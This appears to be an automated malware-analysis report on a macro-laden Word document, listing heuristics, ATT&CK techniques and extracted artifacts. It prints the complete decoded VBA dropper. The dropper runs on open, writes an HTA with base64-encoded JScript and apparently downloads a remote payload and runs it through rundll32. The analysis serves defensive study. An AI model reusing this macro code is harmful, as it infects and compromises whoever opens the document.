MALICIOUS
210
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1071.001 Web Protocols
The sample is an Office document containing VBA macros, indicated by multiple heuristic firings including OLE_VBA_AUTOOPEN, OLE_VBA_SHELL, and OLE_VBA_WSCRIPT. The AutoOpen macro triggers the execution of a command via WScript.Shell. The command itself is constructed by reversing a string from the document's title property, which is then passed to the .exec method. This indicates the document is designed to download and execute a second-stage payload.
Heuristics 7
-
VBA project inside OOXML medium 4 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
Set windowStructCollection = ActiveDocument.BuiltInDocumentProperties("title") Set structLoad = CreateObject("wscript.shell") With structLoad -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set windowStructCollection = ActiveDocument.BuiltInDocumentProperties("title") Set structLoad = CreateObject("wscript.shell") With structLoad -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Attribute VB_Name = "screenPtr" Sub autoopen() tempRemoveSwap -
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
- http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
- http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
- http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
- http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
- http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
- http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
- http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 5811 bytes |
SHA-256: 993cfdaacbd57cbcfe70bd9bba35014b4b1a606906a295ef471fe5d9beb79479 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 7 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "frm"
Attribute VB_Base = "0{D4627077-A1E9-4DAE-9EFD-CA2687639E60}{54507594-9C73-4B8F-AA0A-20A39F45AA92}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public Sub button1_Click()
Set windowStructCollection = ActiveDocument.BuiltInDocumentProperties("title")
Set structLoad = CreateObject("wscript.shell")
With structLoad
.exec (sr(windowStructCollection))
End With
End Sub
Attribute VB_Name = "screenPtr"
Sub autoopen()
tempRemoveSwap
End Sub
Function sr(repoDatabaseScreen)
sr = StrReverse(repoDatabaseScreen)
End Function
Sub tempRemoveSwap()
Dim varProc As String
clearArrayListbox = Split(sr(ActiveDocument.BuiltInDocumentProperties("title")), " ")
varProc = clearArrayListbox(1)
Set refTitle = New countMemNamespace
refTitle.dataScreenTemp varProc, memoryExOption
frm.button1_Click
End Sub
Attribute VB_Name = "repoTextboxLeft"
Public Function bufferBufLib(procNext)
If (Len(procNext) < 1024) Then
classLeftBorder = Array("<html><body><div id='content1'>fTtlc29sYy5zc2FsQ2Z1YjspMiAsImdwai5iVnR4ZXRcXGNpbGJ1cFxcc3Jlc3VcXDpjIihlbGlmb3RldmFzLnNzYWxDZnViO", "yl5ZG9iZXNub3BzZXIucm90YXJldEl3ZWl2KGV0aXJ3LnNzYWxDZnViOzEgPSBlcHl0LnNzYWxDZnViO25lcG8uc3NhbENmdWI7KSJtYWVydHMuYmRvZGEiKHRjZWpiT", "1hldml0Y0Egd2VuID0gc3NhbENmdWIgcmF2eykwMDIgPT0gc3V0YXRzLnJvdGFyZXRJd2VpdihmaTspKGRuZXMucm90YXJldEl3ZWl2Oyllc2xhZiAsIlBRN2gwcnpzT", "mpWM0c2dT1yZXN1JjNCdUJSU1c3SWFFYlVWPVljPzF4aXBvZi9TUzRNSm80QzFZdU56eFFYQ3Q5aFhIWW9TQ2p0OThJOTRGZENvNmt2ci9ZWFA0SGVyZk40QWFZSUdSb", "FlDU3o4T2VQV2J0TEk2QnhkdmFOSk5jSDMvNjQ4MTkvN2lBR3VWbTRtOHFuRHRwU0pZdG15OWg3dzJaVXZiZjJXQmNnL3hTZ1VvRnRtcVVLZE1uWjA4bUNLREV3MFcvT", "WNJbEQveXlKUUc3T083a3RnTkpudTVsRmdWSDFRSFF6MmtpMDhkNXJUZy9zb3NnZC9tb2MuYWVib2xncmVwcmFoLy86cHR0aCIgLCJURUciKG5lcG8ucm90YXJldEl3Z", "Wl2OykicHR0aGxteC4ybG14c20iKHRjZ")
End If
bufferBufLib = Join(classLeftBorder, "")
End Function
Public Function removeVariableProcedure(procNext)
If (Len(procNext) < 1024) Then
classLeftBorder = Array("WpiT1hldml0Y0Egd2VuID0gcm90YXJldEl3ZWl2IHJhdg==</div><div id='content2'>fXspZnVCdHNpbChoY3RhY307KSJhdGguYlZ0eGV0XFxjaWxidXBcXHNy", "ZXN1XFw6YyIoZWxpZmV0ZWxlZC5sYWNvTHBtVG5vdHR1Ynt5cnQ7KSJ0Y2VqYm9tZXRzeXNlbGlmLmduaXRwaXJjcyIodGNlamJPWGV2aXRjQSB3ZW4gPSBsYWNvTHBt", "VG5vdHR1YiByYXY7KSJ0aW5JbmlndWxQLGdwai5iVnR4ZXRcXGNpbGJ1cFxcc3Jlc3VcXDpjIDIzbGxkbnVyIihudXIuKSJsbGVocy50cGlyY3N3Iih0Y2VqYk9YZXZp", "dGNBIHdlbg==</div><div id='content3'></div><div id='table1'>ABCDEFGHIJKLMNOPQRSTUVWXYZ</div><div id='table2'>0123456789+/</div><", "div id='table3'></div><script language='javascript'>function classList(documentDocumentTextbox){return(new ActiveXObject(documen", "tDocumentTextbox));}function repoClass(valueResponseProcedure){return(linkOption.getElementById(valueResponseProcedure).innerHTM", "L);}function swapDatabase(){var ")
End If
removeVariableProcedure = Join(classLeftBorder, "")
End Function
Public Function funcIndex(procNext)
If (Len(procNext) < 1024) Then
classLeftBorder = Array("indexException = repoClass('table1');var swapIteratorTmp = indexException.toLowerCase();var ExScreenVb = repoClass('table2');ret", "urn(indexException + swapIteratorTmp + ExScreenVb);}function countSelect(s){var e={}; var i; var b=0; var c; var x; var l=0; var", " a; var loadButtonLink=''; var w=String.fromCharCode; var L=s.length;var textboxButtonLeft = counterTitle('tArahc');for(i=0;i<64", ";i++){e[swapDatabase()[textboxButtonLeft](i)]=i;}for(x=0;x<L;x++){c=e[s[textboxButtonLeft](x)];b=(b<<6)+c;l+=6;while(l>=8){((a=(", "b>>>(l-=8))&0xff)||(x<(L-2)))&&(loadButtonLink+=w(a));}}return(loadButtonLink);};function counterTitle(memoryIndex){return memor", "yIndex.split('').reverse().join('');}procLocal = window;linkOption = document;procLocal.resizeTo(1, 1);procLocal.moveTo(-100, -1", "00);var counterVariable = linkOp")
End If
funcIndex = Join(classLeftBorder, "")
End Function
Public Function listboxRemove(procNext)
If (Len(procNext) < 1024) Then
classLeftBorder = Array("tion.getElementById('content1').innerHTML;var bufferClear = linkOption.getElementById('content2').innerHTML;var counterVariable ", "= counterTitle(countSelect(counterVariable));var bufferClear = counterTitle(countSelect(bufferClear));</script><script language=", "'javascript'>function memMain(localTrust){var refArray = classList(counterTitle('lortnoctpircs.lortnoctpircssm'));refArray['Lang", "uage'] = 'jscript';refArray['Timeout'] = 60000;refArray['AddCode'](localTrust);return(null);}</script><script language='vbscript", "'>Call memMain(counterVariable) : Call memMain(bufferClear)</script><script language='javascript'>procLocal['close']();</script>", "</body></html>")
End If
listboxRemove = Join(classLeftBorder, "")
End Function
Function memoryExOption()
memoryExOption = bufferBufLib("alue") + removeVariableProcedure("ames") + funcIndex("truc") + listboxRemove("rocR")
End Function
Attribute VB_Name = "countMemNamespace"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Option Explicit
Public Function dataScreenTemp(linkPtrConvert As String, arraySwapLen As String)
Open linkPtrConvert For Output As #1
Print #1, arraySwapLen
Close #1
End Function
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 29184 bytes |
SHA-256: 85799f21ea94f58612efcfa17b06e7737c76eedbdfb01ec8dc4e12445bb5d4d2 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 7 long base64-like blob(s).
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.